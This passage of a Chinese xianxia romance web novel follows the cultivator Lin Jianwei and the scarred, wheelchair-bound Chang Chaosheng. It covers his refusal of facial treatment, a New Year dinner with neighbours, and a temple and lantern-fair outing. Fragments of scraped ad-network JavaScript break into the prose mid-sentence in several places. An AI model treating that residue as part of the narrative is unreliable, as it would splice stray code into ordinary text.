街上有人书法先生摆摊,红纸裁成对联,挥毫泼墨,目不识丁的百姓和胸有点墨的书生都凑上前去看热闹,小孩儿在大人的腿边钻来钻去。 不知不觉,两人已走到了百家巷巷口。 常潮生操纵着轮椅从院中出来,还没到巷子口,远远便看到两人并肩而行,一时失神,身旁小孩儿顽皮,铆足了劲冲来冲去,一下子撞到轮椅上。 撞了个人仰马翻。 常潮生狼狈跌到地上,盖在脸上的面具滑落。 昏暗的天光一照,崎岖的皮肤,疤痕丑陋可怖,惊得摔倒在地的小男孩哇哇大哭,抹着眼泪飞快爬起来。 他一下子被一群小孩儿包围。 “是怪物!有怪物!” “好丑啊!” “好可怕!” 常潮生身形一僵,巷口的目光投进来,犹如实质,他狼狈扶着轮椅,想借力重新坐起来,仓皇中反而事事不如意,轮椅没安置稳,他又重重跌到地上。 “哈哈哈哈哈……” “丑八怪摔倒了!” “快跑快跑!他要起来了!” 一群小孩儿找到了乐趣,反围着他迟迟不散开。 巷口的林见微也听到了动静,往里面一瞧,顿时不淡定,快速朝他跑过去。 王大婶恰好在常潮生旁边,见一群小崽子将人围起来,叉着腰上前将人骂走,“干什么呢!一群小兔崽子!皮又痒了是吧!” “阿牛,你还敢跟他们起哄!看回去老娘不抽死你!” 阿牛顿时挺直了腰,“娘,我没有!” 林见微三两下将常潮生扶起来坐到轮椅上,低声 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 询问,“没事吧?有没有摔到哪儿?怎么这么不小心?” 常潮生垂下头,青丝掩面,遮住大半脸上的疤。 却不说话。 “林道友,没事吧?” “啊,没事没事。”林见微摆手,“李道友,麻烦你这跑一趟,将东西给我吧,没几步路,就不送你了。” 李延看了眼常潮生,淡淡收回目光,知道林见微此时恐怕不方便,也不多留,放下灵土便拱手告辞。 “好了好了,都散了把。”林见微摆摆手,谢绝王大婶送他们进院门的好意,带上灵土,推着常潮生回到屋中。 房间内烛火未熄,炉子里还燃着炭火,一派暖意融融。 木桌已年岁日久,表面光滑得像打了一层蜡,火光跳动之间也随之闪着幽暗的光,饭菜都已盛好,装在碗碟中,热气腾腾。 “刚才怎么这么不小心,有没有摔到哪里?”林见微将手伸向常潮生的关节,毕竟那是最容易磕碰的地方。 “没事。” “真的?”她一脸狐疑,撇开身前的碍事的裙裾蹲下仔细查看。 窗户没完全合上,偶然一阵簌簌长风吹进来,吹得烛影乱晃,人影轻摇,林见微神情认真,玉面朱颜,鸦羽一般的睫毛在眼下投下一道深浅交错的光影,美不胜收。 常潮生静静瞧着。 “看来是真的没事。”林见微站起身,眉眼一弯,“那吃饭吧,等过几日我给你准备了一个惊喜。” “今日,你出门做了什么?”他忽然出声。 “到万宝阁画了两个聚灵阵,大掌柜都说我绘阵的手法越来越娴熟……之前托李延找的灵土拿到了,虽然品相差了些,但也够用……”林见微打开了话匣子,还不停往常潮生碗里夹菜。 少女讲得眉飞色舞,眼尾、嘴角、脸颊,都飞扬着笑意,明媚昳丽,透露出一种由衷的欢脱和愉快。 “你很高兴。”常潮生语气淡淡,林见微刚想接话,他眸中神色更冷淡几分,先抢过话,“因为李延。” “啊?”林见微一头雾水,微微一愣,没有否认,“是吧,但也不全是。” 话及此处,她狡黠眨眨眼,顾盼生辉,期待常潮生问问她前两句提到的“惊喜”,好让她再卖个关子。 常潮生却错解她眸中的雀跃。 “一介庸才,不值得深交。” “什么?” “李延。” 林见微愣了两秒才反应过来,脸上笑意冷淡,秀眉一皱,“为什么这么说?我知道你以前很厉害,但也不必这么看不起旁人。李道友为人仗义正直,驻留路川城,诛杀妖邪,同样造福这一城的百姓。” “那你尽可去跟他去诛杀妖邪!何必守着我!” “你又在生哪门子气?”林见微抬高音量,听到他这么说,就是泥人也生出三分火气,啪一声将筷子重重拍到桌上。 “与你无关!” 常潮生低下头,如绸缎一般的长发披散垂落,遮挡脸上的疤,也帮他避开她如刀剑般刺来的审视,脸上好像烧起来,灼热刺痛。 9. 拒绝治脸伤 话到此,胃口全无,他放下筷子,微不可察抖着手拿起手边的面具重新戴上,终于如孤独漂在海上的浮木被浪冲上岸一般汲取到一丝安定感。 “你!你真是!”林见微猛地站起身,“你真是不可理喻!” 丢下这么一句硬邦邦的气话便摔门而出。 微风刮起,烛火一颤。 刚一到院中她就后悔了。 傍晚时那群熊孩子将人戏弄嘲笑一番,想必他是心里憋着气,发泄出来也好,她怎么还跟一个病人计较…… 一转身,看到紧闭的房门,林见微心里叹口气,到底没有重新进去,院中风簌簌,她转身回了自己的房间。 没事,大不了她多费心一点,快点把“惊喜”做出来,好帮他祛除疤痕,恢复容貌!这样他也不用再戴着那张黑乎乎的面具,出门还要被人行注目礼。 况且,她也有点好奇旺财从前长什么样。 …… 而屋中。 一片死寂,好像那人的离开抽走了其中仅剩的一丝活力,常潮生垂下手,眸光紧锁紧闭的门扉,隔着一扇小屏风,看不真切,却迟迟没有挪动半分。 可惜偏偏,没有人进来。 蜡烛垂泪,灯芯烧到尽头,噼里啪啦,直到啪嗒一声熄灭。 翌日。 林见微心里装着替常潮生治好脸的事,起了个大早,饭也没吃,昨日带回来的灵土也没有安置,一溜烟便掐诀直奔城东万宝阁去。 敲开大门。 李延见到她颇为惊讶。 “林道友来这么早?” “早啊。”林见微动作伶俐,侧身挤进屋,“我来看看生腐兰。” 李延跟着进屋,反手阖上房门,了然点点头,“我说道友怎么好好的忽然对生腐兰感兴趣,原来是替人治伤。” 生腐兰可重塑肌肤皮肉,祛除疤痕,恢复容貌,往往用在容貌尽毁的人身上,比如因火灾毁容这种。 林见微自己显然是用不上的,昨日一见常潮生,才知是另有原因。 “是。”林见微也不避讳,目光定在兰花上舍不得挪开,见灵植长势喜人,不由眉飞色舞,“今日我再用灵力催发一下,傍晚兴许就能摘花入药。” 李延因她高涨的情绪受到感染,慷慨解囊,“那你今日可得多辛苦一下,我送一粒麻醉丹,皮肉复生时也好让人少受些罪。” “这多不好意思,让你破费。” 李延将丹药递到她手中,“还要多亏林道友的聚灵阵,不然我也不会修炼得这么快,一粒丹药而已,算不得什么。” “那我就不客气了。” 林见微眸光闪动,一思忖,虽然常潮生惯常能忍痛,但既然是恢复容貌,重获新生这种好事,少点痛苦也能多留下松快的记忆,便没有推辞。 李延还忙着自己的修炼,也不在房间多待,留下林见微一人便转身出去,带上了门。 等到她头昏脑胀摘了花从万宝阁出来,已经是傍晚,天边一道霞色流云,色彩渐变,交织,递进,抬头望去,美不胜收,最终渐渐没于夜色中。 街上张灯结彩,灯火阑珊。 “嘭嘭嘭——” “哇——好漂亮——” 天上炸开朵朵烟花,片刻绚烂后又如星雨落下,她脚步匆匆,如一尾鱼般快速穿行过嚷嚷人潮,身形灵活矫健。 吆喝声,打闹声,惊呼声,窃窃私语声,鞋底踏上石板路面,行人摩肩接踵,衣料摩擦,万千繁华都被她抛在身后。 停在院门口。 “咔哒——” 门栓打开,林见微携一身寒意,带满袖冷风,快速踏进院中。 常潮生恰在院中。 端坐于轮椅上,身形萧索,天边烟火炸开,五颜六色的光照在面具上,恰照得他幽深的眸子更似无底深渊。 冷不丁锁定眼前的猎物,暗中蛰伏,蓄势待发。 “你怎么在院子里,这儿多冷!”林见微三两步上前,一摸他的手,冷得一个哆嗦,“快快快,进屋里。” 推开房门,屋里烛火憧憧,桌上的饭菜还温热,常潮生厨艺不算好,但做得用心,因是人间跨年夜,愣是搞出了丰盛的一桌。 暖意扑面而来,洗去林见微一身疲惫,衣袂裙摆上沾染的寒意亦消散无踪,“你是不是忘了自己还是个病人?出门连斗篷也不披上……” 合上房门,少女背贴着小屏风,亭亭玉立,眼里的笑意想藏都藏不住,似挽了一江星河,直直奔他而来,“旺财……” “过几日你要跟他出海。” 两人异口同声。 常潮生的眸子极冷极静,黑压压的一片,半阖着,敛尽所有躁动暴虐的风浪,全部被强力镇压在幽闭的万丈深渊,颤动着克制。 林见微一惊,捕捉那这不同寻常的一瞥,又一闪而逝,没有看真切。 “是,渔民常常活动捕鱼的海域来了一只海妖,他和大掌柜打算去除妖,我想去看看有没有能帮上忙的地方。” 末了,她腰一弯,凑近了些,仿佛想要确认点什么,“怎么了?” “带我一起去。” 常潮生扬起脸,四目相对,眼里盛上笑意,像温柔低哄,又不容置喙。 “你腿脚不便,去海上做什么?”林见微直觉他态度诡异,一对上眼神便心里发毛,连忙转移话题,变戏法一般,扬了扬手里的瓷瓶,“你先看看这是什么……” 常潮生不接话。 “李道友送你的。”林见微笑呵呵将麻醉丹塞进他手里,“他的一点心意,麻醉丹。我已经弄到了生腐兰……” 林见微正想将兰花从储物袋里取出来,话说到一半,常潮生瞳孔猛然一缩,手一松,瓷瓶滚落到地上,见她将手伸向自己,慌张操纵轮椅向后退。 “不要!” 林见微一惊,双目睁圆,见他手忙脚乱,差点狼狈从轮椅上栽到地上,赶忙想上前扶一把。 常潮生退得更厉害,慌不择路,如同被逼到了绝境的野兽,亮出利爪,啪一声挥开她的手,力道失控,轮椅撞倒身侧的凳子,彻底翻倒在地。 桌子也受到冲击,横放在碗上的筷子噼啪滚到地上,满耳叮咚声,直敲得人心里七上八下,惴惴不安。 “嗯……”'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 他痛得闷哼一声。 “你怎么样?” 林见微脸上惊慌的神情没有褪去,架着他的胳膊扶人重新坐好,熟练掐决收拾好一片凌乱,又捡起滚到角落里的麻醉丹。 半蹲于轮椅前,裙摆垂落一地,衬得少女一张白净的脸如鲜嫩的花蕊,微微仰头看他,眉头一皱,“你怎么了?” “快吃了丹药,我还剩下点灵力,刚好够将生腐兰炼化入药,明日你的容貌便能完全修复。” 常潮生稍微恢复了点理智,浑身上下却绷得紧紧的,如同一只受惊炸毛的猫,随便一点异动都能激得它跳起来。 “我说了!不用!” 他语气实在算不上好,如避蛇蝎般又退开好些距离,似绷紧弦的弓,不容人近身。 “为什么?”林见微抬高音量,柳眉倒竖,雪白的脸上爬起薄怒,倏地站起身。 “你知道培养这株生腐兰有多麻烦吗?你难道不想摘了面具堂堂正正出门去转一圈吗?” 她越说越委屈,这人昨晚莫名其妙将在别人那儿受的气撒到她身上,现在还偏要跟她对着干!明明是替他治伤,却毫不领情! 就是泥人也要生出三分火气! 常潮生一慌,嘴唇翕动,半天说不出话来。 灯火葳蕤,柔和的光落在少女的脸上,常潮生背着光,整个人匿在阴影中,眼底万千情绪翻涌,汇成风暴,摧枯拉朽袭卷过境,最后脑中一片空白。 只剩下唯一的念头—— 绝对不能被认出来! “为什么不说话?”林见微抱臂而立,嘴唇紧抿,眸光冷淡下来,压下如萋萋荒草般蔓延的怒意,等着他给自己一个合理的解释。 常潮生心绪乱如麻,解救他的是院门处传来的叩门声。 王大婶站在院门口,一双招摇晃动的红灯笼闪着光,巷口鞭炮声噼里啪啦响个不停,她生怕院里的人听不到,扯着嗓子高声呼喊,“林仙子!” 林见微闻声,暂时不再纠结常潮生的事,瞪了他一眼才利落转身出门去看。 “大婶找我有什么事吗?” “哎,这不过年吗,想着你们二人在这儿没有无亲无故,也不热闹,若不嫌弃,不如来我们院中一起聚一聚,大家热闹热闹。”王大婶面上喜气洋洋,眼尾的褶子聚拢成一条线,话语和蔼又热络。 “好啊。”林见微不假思索应下,挂在脸上的郁气消散些。 正巧也与屋里的人闹得不愉快,现下还不知怎么收场,逢年过节的,总不能一直冷脸以待。 “那仙子快快去将仙长带出来。” “好。” 林见微转身往院内走,昏黄的灯笼拉长她的影子,夜风簌簌,人影凌乱,晃动着投在灰色石板路面上。 屋中。 常潮生得了片刻喘息之机,已全然冷静下来。 “我……” “行了。”林见微打断他的解释,一双眸子清澈透亮,好像轻而易举就能拆穿他拙劣的谎言,“王大婶请我们去她家团年,一起吧。” 常潮生心头一颤,垂下头,闷闷应声,“好。” 10. 冰释前嫌 林见微习惯性从架子上取下斗篷,一双修长嫩白似玉的手灵活摆弄指尖的带子,穿引打结,系上一个蝴蝶结,感受着轻缓却压抑到极致的呼吸喷洒在肌肤上,这才缓缓推着轮椅出门。 常潮生上半身僵硬不敢动,半晌呼吸才恢复正常。 胸腔里心脏扑通扑通,响声震耳欲聋,不受控制,他拢紧斗篷,生怕被耳聪目明的修士听出端倪。 王大婶倚在院门边,不知何时阿牛也从隔壁院跑来凑热闹,从门口探进一个脑袋,眼巴巴看着林见微缓缓推着人走出来。 天边又炸开一团烟花,高高蹿上夜空又如星雨落下,五彩斑斓的光照进院子里,林见微周身弥漫着光晕,刹那间,美艳不可方物。 阿牛看得痴了,常潮生一个眼神凉飕飕扫过,他顿时一个哆嗦,缩了缩脖子,转身先一步跑回了自家院子。 王大婶带路,热情将两人引进自家院中。 正是除夕夜,恰此地宗法制盛行,王大婶家的院子宽敞,一个大家族的人聚在一起,院中灯火通明,林见微推着常潮生,甫一踏进院门便被道道齐刷刷的目光注视。 “好漂亮的仙女姐姐!” “仙女姐姐!” 混在人群中的小孩儿口无遮拦,头上扎着朝天小辫,啪啪拍手欢迎,王大婶笑着挥手赶人,“小兔崽子,惯会看人下菜碟,可别冒犯了仙子。” “没事。”林见微并不在意,相反,心情还稍稍明朗些。 院中到处飘着食物香气,锅炉上白色水雾缭绕不散,锅里炖着肉,小火慢慢燃,只听响声咕噜咕噜,开水翻滚,泡泡不断向上冒。 王大婶引着两人落座到主位,林见微后知后觉,却来不及换个位置。 “仙子就安心坐下吧。”王大婶赶快给两人添上碗筷,话语真诚,说得热泪盈眶,“我家这口子的病还是你治好的,不然我一个人顾着一个家,还不知道日子得难成什么样。” 王大婶的丈夫也赶忙站起身,汉子老实缄默了一辈子,不太适应这当众发言的场合,神情局促,脸都憋红了。 最后心一横,端着一碗酒,拱手恭敬深深一拜,“仙子就是我的再生父母,我这人没什么本事,但也知道感恩,今日,今日……今日先敬仙子一杯,来日做牛做马……” “不必不必。”林见微连忙打断,举起酒杯跟他碰上,“做牛做马就不必了,好好过自己的日子才最打紧。” 说完,她一饮而尽。 她刚来此地时王大婶的丈夫才出意外不久,不慎重伤,瘫痪在床,一家人顿时失了主要劳动力,又有孩子要养,不得已才腾出从前用来放杂货的空闲院子租出去。 “是,是,好好过日子!”男人忙嘴笨地附和,跟着将碗里的酒一饮而尽。 桌上气氛热络起来。 林见微坐下,抬手轻轻揭下常潮生脸上的面具,大抵王大婶提前知会过众人,桌上并未有人露出异样的神情,只几个小孩儿怯生生抬手遮住眼睛,又实在耐不住好奇,悄悄分开指缝偷看,但不一会儿他们的注意力便被别的东西吸引走。 一顿饭,宾主尽欢。 林见微本就是个爱热闹又话多的性子,混在人堆里简直如鱼得水,听着人侃天侃地,偶尔蹦出两句俏皮话,逗得众人哄堂大笑,丝毫没有架子,让人看不出她是个修士,反而更像是邻家未长大的小姑娘。 常潮生便冷淡许多,只慢慢吃林见微夹到他碗里的菜,安静得像个摆件。 快到午夜。 院外长街上渐渐响起鞭炮声,先是一两声,后面越来越多,越来越大,噼里啪啦,响声震天。 “放炮仗!捡炮仗!” 小孩儿彻底坐不住,大人们只好起身挂起两串鞭炮,点燃引线,捂着耳朵快速往回跑,噼噼啪啪,火光闪烁,又是一番热闹。 宴席散场。 林见微推着常潮生回到小院。 酒意上头,深夜的冷风一吹,她稍稍清醒了点,连带着之前的不快也被风吹散,心情是前所未有的松快。 耳边是万家嘈杂的庆贺,常潮生的声音极轻极轻,像是被风送进耳中一样,凭空撩动起心底涟漪,“我与人有仇,脸上的疤不能治……” “原来是这样……”林见微低低笑出声,双颊酡红,声音都沾染上醉意,弯腰凑近了他,近到呼吸交缠的距离,吐气如兰,“你不想治就不治好了。” 常潮生一怔,心里没由来发慌。 还没等他仔细辨认话中是否有深意,林见微已与他拉开距离。 醉醺醺将人送回房中,林见微退出房门,扶着墙回到自己屋中,随意扯过被子一盖,头一沾上枕头,立马陷入沉睡。 翌日。 天都大亮了。 林见微还没醒,睡了个舒服。 常潮生却一夜辗转不得眠,万千思绪婉转纠缠,盘桓在头脑中,像滋生于暗处的青苔,见不得光,湿哒哒的,想甩都甩不掉,反而有扎根的趋势,让他整个人更添两分阴恻恻的冷肃气质。 阴恻恻的人正看着林见微紧闭的房门。 举起手,又放下,又举起。 “吱嘎——” 林见微推开门便见常潮生这一副要进不进的样子。 “我煮了汤圆。”他敛尽阴暗的心绪,将自己伪装作一个柔弱无辜的可怜之人。 “汤圆?”林见微诧异,“你自己做的?” “嗯。” “什么时候?你居然还会和面包汤圆?”她越说越觉得不可置信,懒腰伸到一半,三两下快速奔向餐桌去。以常潮生勉勉强强的厨艺,她还真有些好奇。 常潮生操纵轮椅跟上,而林见微已毫不客气地拿起筷子夹了一块大胆放进嘴里。 “唉,还不错唉!”她眼前一亮。 常潮生坐到桌前,也夹起一块放进口中,甜腻腻的芝麻红糖馅,馅料当然是他早前在街边小摊贩那儿买来的。 “不过……”林见微话锋一转,眼底笑意明显,“就是这味道跟巷子口那家汤圆摊子卖的有点像。” 她一张素净的芙蓉面上笑意更甚,接着补刀,“而且 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 你这汤圆……怎么还大小不一样?” 常潮生被她问得答不上话,只能低头默默吃着碗里的东西。 修长的指节轻轻攥着勺柄,手背上难得完整的一块皮肤白皙细腻,青筋毕现,光一照,仿佛透亮似一块美玉,美轮美奂,林见微目光掠过,总不住想象他未遭苦难之前,会是何等君子如玉,姿容无双。 忽然,她见到一抹红。 “你手心是不是烫到了?”林见微大惊,忙抓起常潮生的手查看。 “我没事。”常潮生忙抽回手,长袖垂下盖住手背,抬眸看她,疤痕遍布的脸氤氲在碗里缓缓升腾的雾气中,模糊了轮廓,但一双眸子却似秋水含情,像淋了雨湿漉漉的小狗。 林见微顿时心软,瞬间把心里所剩无几的芥蒂抛诸脑后。 “还说没事?烫伤之后有没有用冷水冲一下?”林见微轻握住他手腕,一翻开手心,果然见到了一连串透明色的水泡,有些已经被挑破,露出里面鲜红的血肉。 她抬起一只手覆上去,两人手心相合,口中念咒,温润的灵力缓缓浮现,化作柔和的光晕,缠绕交织,一点点愈合伤口。 “做个饭也笨手笨脚的……”林见微轻声音哀叹,语气无奈,“日后你不要进厨房了,我再多给王大婶付些钱让她帮忙解决吃饭的问题。” “我能……” “行了行了,快吃吧。”林见微松开手,坐回自己的位置。 手心处柔软温暖的触感消失,似有若无的失落没由来地钻出来,常潮生重新拿起勺子,缓缓搅动碗里圆滚滚的雪白色团子。 “我想了想……” “之前的不愉快,我们都忘了吧。” 林见微放缓声音,手也不自觉搅动起碗里的汤圆,耳侧一缕发丝垂下,随风微微摆动,“你不想治脸上的疤就不治了,生腐兰我存着,要是你哪天改了主意就跟我说。” “还有麻醉丹,李道友听说我要为你治伤,特意送的,好让你少受些皮肉之苦,他是个仗义的人,你有你的脾性和傲气,但也不要诋毁旁人。” 将话全部都说开,林见微心底的石头彻底放下,眉眼间也挂上常潮生熟悉的笑意,轻松快意。 “好啊。”常潮生双眼弯着一江笑意,只是笑意不达眼底。 林见微全无所觉,“这就对了嘛!” 吃过早饭,掐诀收拾好碗筷,林见微将常潮生扶到榻上,卷起他的裤腿。 一双腿白皙修长,当初血淋淋的伤口早已经愈合,但依稀仍可看出曾被剥去过皮肉的痕迹,胫骨和股骨这种大块的腿部骨骼已被林见微慢慢重塑,但暂时仍无法支撑他重新站立。 “你这一双腿快好了,也许等开了春就能重新站起来。”林见微笑笑,将早就备好的灵药泡进热水中,指尖催动灵力,几缕若隐若现的气流像是流动的云雾一般挟裹药力没入常潮生被浸泡的双腿中。 暖流顺着破碎的脉络向上翻涌。 已经太久了没有过这种体会。 久到他都快忘了双腿强健有力是什么感觉。 11. 花市灯如昼 治疗过腿疾,林见微推着常潮生出门去。 “今天街上热闹,你也该多出去转转,一个人闷在院子里多无聊。”林见微转身给院门落上锁,一大步蹦下台阶,矫健灵活。 常潮生眼前光影一晃,俏生生的红逼人亮眼,猝然闯进视野中,衬得萧索天地黯然失色,似要诱他跌进足以迷乱心智的疯狂深渊。 他已入深渊。 “走吧,我们今天先去郊外城隍庙上香,得快点走,不然只能看到一片人头……中午到醉花楼,听说有一场诗会,去凑个热闹也好,晚上再去城东看花灯!” 她早把一切计划好,又俯下身问常潮生的意见,“你呢?有没有想去哪儿转转?” “都听你的。” “行,保证给你安排得明明白白!” 长长巷弄中,石板路上全是昨夜放完鞭炮后留下的一地红色碎纸残骸,一串小孩儿围在一起,蹲在地上捡没有燃尽的炮仗。 路川城仿佛一夜之间抹上了红妆。 推着轮椅在街上走一圈,贩夫走卒,叫卖声不绝,热腾腾的美食香气四溢,引人垂涎,林见微终究没有抑制住蠢蠢欲动的手,一边心疼一边付银子。 紧赶慢赶,架不住她被花花世界绊住手脚,等两人出了城,上午已过半。 冬景萧条,但也不那么萧条。 路川城靠海,四季温和湿润,即使是在冬天,依旧能看到翠绿的树丛,墨色的绿,乍一看去灰蒙蒙的,没什么生气,路边的草蔫巴巴伏倒在地,叶片枯黄。 林见微将热乎的大饼塞到常潮生怀里,用灵力推着轮椅,两人不紧不慢沿着并不宽敞的小径朝山上的城隍庙去。 半路上行人越来越多,等爬上石阶,跨进门槛,庙前已经站满了人,巨大宝鼎里插满了香,白烟袅袅,呼吸之间都是香火味。 林见微伸长了脖子东看西看,也跟着凑热闹买了些,推着常潮生到宝鼎前,心念一动,指尖灵力流转,将手中的香点燃,再分给他几根。 “也不知道这么庙灵不灵,咱们也拜一拜。” “你想求什么?” “唉,随便吧,求个平安顺遂,喜乐无忧。” 林见微一边回话一边呼呼吹吹气,手里的香燃得更旺,火星点点,旋即双目轻阖,举着三炷香对身前不远处香火旺盛的宝鼎恭敬三拜。 常潮生很少看到她这般安静肃然的模样。 冬风起,手里三炷香快速燃烧,簌簌落下一阵香灰,烫得手背一颤,他似大梦初醒般回过神来。 “好了好了!”林见微睁开眼,眉宇之间顾盼生辉,笑看向常潮生,伸出手,“你好了吗?” 常潮生不言语,只是将手里的香递给她,林见微兴冲冲穿过人群将六炷香插进宝鼎中。 上过香,她歇了凑热闹的心思,转身推着常潮生往外走,远远却瞧见李延负剑而来,拾级而上,身边还跟着大掌柜,拖着臃肿的身躯爬上山,已累得满头大汗,吭哧吭哧喘着粗气。 “李道友!” 两人循声张望而来。 “新年好啊。” “林道友,新年好。”李延略一拱手,目光移向常潮生,“还有这位是……” 林见微一顿,脸色都憋红了,愣是没把“旺财”二字说出口,只好讪讪一笑,开口介绍,“这是我哥。” 此言一出,常潮生脸色沉下来,只是有面具遮挡,旁人看不出端倪。 “原来是林兄,新年好。”李延了然,却总觉得身上凉飕飕的,没多想,只以为是这山上的风太大。 林见微看常潮生不说话,忙出来打圆场,“我哥这人不爱说好……对了,你和大掌柜怎么也来这城隍庙了?” “大过年的,咱们修士也来这儿拜拜,图个吉利!”大掌柜抹了一把额头上的虚汗,笑得一脸褶子。 “也是。”打过照面,林见微正想推着常潮生离开,忽然开口问道,“对了,李道友之前说海上出了海妖,骚扰渔民,翻过年便要去除妖吗?” “啊,差点忘了告诉你。”李延挠头,“昨日我们收到消息,那海妖已经被海里路过的鲛人除掉了,倒省得我们跑一趟。” “鲛,鲛人?”林见微讶异,这个世界居然还有鲛人呢?不就是美人鱼? “是。”李延点点头,“他们久居海底,也不常与陆地上的宗门来往,只与浮生岛上的世家有些联系,神秘得很。” 常潮生身体一僵,又落到提心吊胆的境地,目光斜斜瞥向林见微脸色。 便听李延接着说道,“妖族之间向来有血脉压制,鲛人族是海中一霸,能驱策、恫吓海妖,他们出手不费吹灰之力,也免得我们去冒险。” “原来是这样。”林见微并未多想,“那你们快进去上香吧,我们先走了。” “告辞。” “慢走。” 两拨人分道扬镳,林见微推着常潮生出了庙门,又走出好长一段路才终于到了人少的地方,摩肩接踵之间两人身上都沾染了不少香火气,冬风一吹,又沉寂下来。 她到底是按捺不住心里的好奇。 “旺财,你以前行走江湖见多识广,有没有见过鲛人?” “他们是不是上半身是人,下半身是鱼尾?长得都特别好看……流出的眼泪还会变成珍珠?” 常潮生心头一紧,揣在怀里的大饼余温未散,却让他手心不住发汗,依旧强作镇定,“你问这个做什么?” “当然是好奇啊。”林见微答得理所当然,“所以你见过吗?要是流的眼泪能变成珍珠……那岂不是发财了!想想就让人高兴得哭不出来……” 常潮生闭了闭眼,似是无语,语气淡淡,“没见过。” “真的假的?” “没见过。”常潮生这次直接偏过脸去。 “行吧。”林见微将信将疑,料想他不愿提起旧事,便不再深究。 下了山。 进城后街上更热闹,两人直奔醉花楼而去,一楼大厅里张灯结彩,红绸招摇,这小小路川城的文人墨客齐聚一堂,好不热闹,推杯换盏,觥筹交错。 因早早就跟老板打过招呼,为他们在二楼预留了小隔间,林见微直接带着人上楼,屏风雅致错落,衣袂翩然,人影绰绰,两人落座后店小二送上茶水和糕点,林见微又点了两个小菜。 林见微靠着栏杆,向楼下探头出去,看人来人往,作画赛诗。 店小二穿行在人群之间,茶水添了一趟又一趟,说书先生的惊堂木几起几落,嘴里时不时哼几句不知名的唱词小调,她看一切都新奇。 窗外日光弹指过。 天近日暮,华灯初上,林见微有些倦了,与常潮生从楼里出来,城东正是热闹的时候,街道两旁,各式各样的摊位错落有致,摊贩们高声吆喝,夸耀自家花灯的样式,引人驻足。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>人声鼎沸,热闹非凡。 “你若是累了便回去歇息。” “不累不累,再转转!”林见微忙摆手拒绝。 徜徉于这一片灯火辉煌的海洋中,身侧景象五彩斑斓,一盏盏精致的花灯悬挂于空中,随风轻轻摇曳,光影流动,似点点繁星落入人间。有的灯盏被置于案几头,火光柔和,灯罩上的工笔画线条在地上投出影子,美轮美奂。 “快点!跑快点!” “你来追我呀!” “哈哈哈哈追不上,追不上!” “……” 一群小孩疯跑过来,手舞足蹈,嬉笑打闹,脸上带着动物面具,林见微连忙拉着轮椅往后避开,笑骂道,“一群熊孩子!” 常潮生差点被带得一个趔趄,深呼吸一口气,深觉林见微也没比那群小孩儿好到哪儿去。 “走,咱们也选一个花灯去。” “嗯。” 他只能应下。 “你看看喜欢什么样式的?”林见微目光扫过琳琅满目的花灯,顿时犯了选择困难症,“莲花灯,兔子灯……那边居然还有走马灯?” 她顿时来了精神,推着轮椅挤进人群凑热闹。 围在摊子前的人看到常潮生腿脚不便,笑骂一声也纷纷避让,愣是让她挤到了最前面,灯芯燃着,走马灯转啊转,灯内的图案随着旋转而变幻莫测,引得众人惊叹连连。 逛到了夜深。 人群渐渐散了,两人也打道回府。 常潮生怀里捧着一只小巧玲珑的兔子灯,那兔子描摹得憨态可掬,烛影跳动,活灵活现,自然是林见微强行塞到他手中的。 而罪魁祸首本人,则提着一盏精致的玲珑灯,繁华富丽,流光溢彩。 灯下漫步,款款而行。 “旺财,等到明年我们也来逛灯会,那时候你肯定能站起来了……” “不对!要梦就梦个大胆的,说不定那时候你体内破碎的经脉也能修复,你就能继续修炼了!” 林见微双眸亮晶晶的,手里提着的玲珑灯晃个不停。 大抵海风多缱绻,即使是在这么一个冬夜,等风将少女的声音送入耳中时,常潮生竟听出了几分温柔的意味。 下一刻,便为这温柔失神。 心智仿佛受到蛊惑一般,脱口而出。 “在永夜城,你为什么救我?” “啊?救你……”林见微一怔,又咯咯笑起来,“之前不是说过,我观你骨骼惊奇,命中注定要……” “除这之外。” “好吧好吧。”林见微讪讪,“不跟你开玩笑。” “说实话,那时候我在岛上太无聊了……又不敢随便跟人交心,恰好在那天看到了你,比当初的我还惨……就日行一善啦。” 说着,林见微不住啧啧两声。 “我刚到永夜城的时候,身上又饿又痛,受着伤,只能跟别人抢海滩上冲上来的鱼,抱着生啃……但好在体内经脉未断,虽然修为没了,还能重新修炼……” “不像你,伤得比我重多了,还是被人贩子卖进来的……若是被卖进了内城,恐怕小命都难保。” 说着话,两人已回到小院中。 怀里的兔子灯亮着柔和的光,兔唇分两瓣,描摹细致,栩栩如生,像是在微笑,憨憨傻傻的,他也跟着笑起来,语调轻缓又带着不解,“救下我,你想从我这儿得到什么呢?” 12. 雨中伞下 “功法秘籍?”他语调上扬,不解转为自嘲,最后低低的嗓音溶进渺茫无边的夜色,化作一点喟叹,“我也只有些记忆还算能拿得出手。” 林见微一把夺了他怀里的花灯,推着人进了屋里。 屋外风声呜呜,阖上门,喧嚣隔绝。 “想什么呢?我救你的时候你就差一口气吊着,能图你什么?”少女将两盏花灯并排放在案几上,神色郑重,“如果非要这么说……我倒是希望你早点好起来,就能帮我干活了!你现在欠了我一大笔灵石,可不能赖账!要是不把灵石凑齐,别想赎身走人!” “嗯,不会赖账。” “这就对了嘛,没事多想想怎么快点把伤养好,少想这些有的没的。”林见微点燃屋中的炭盆,感觉气温暖和了些才解开常潮生肩上的斗篷。 “你会一直在,对吗?” “那不然呢?我还能跑哪儿去?”她一脸莫名,顺势躺到榻上,被子软乎乎的,滚了两圈,伸个懒腰,只感觉浑身上下舒坦极了,果然,哪怕成了修士,出门逛街一整天也累人。 常潮生不言语。 只是借着光线昏昧幽微,目光落到人影上,忘返流连。 一直都在,这样就很好。 这时候,他反期望她能图他点什么,什么都好,好让他能抓住些东西。 “你想修炼,我能教你。” 林见微闻言一个鲤鱼打挺从床上坐起来,刚打起精神,忽然又如霜打的茄子一般蔫巴下去,语气沉痛,“唉,算了吧,我是杂灵根……你说的修炼方法,我也听不太明白……” 在没了解这个世界的修炼体系之前,她以为自己既能用灵力生火,又能驭水,治伤,催发植物生长,还能招引来雷电攻击,想必原主也曾是叱咤风云的一方大佬……那她必能做大做强,走向辉煌! 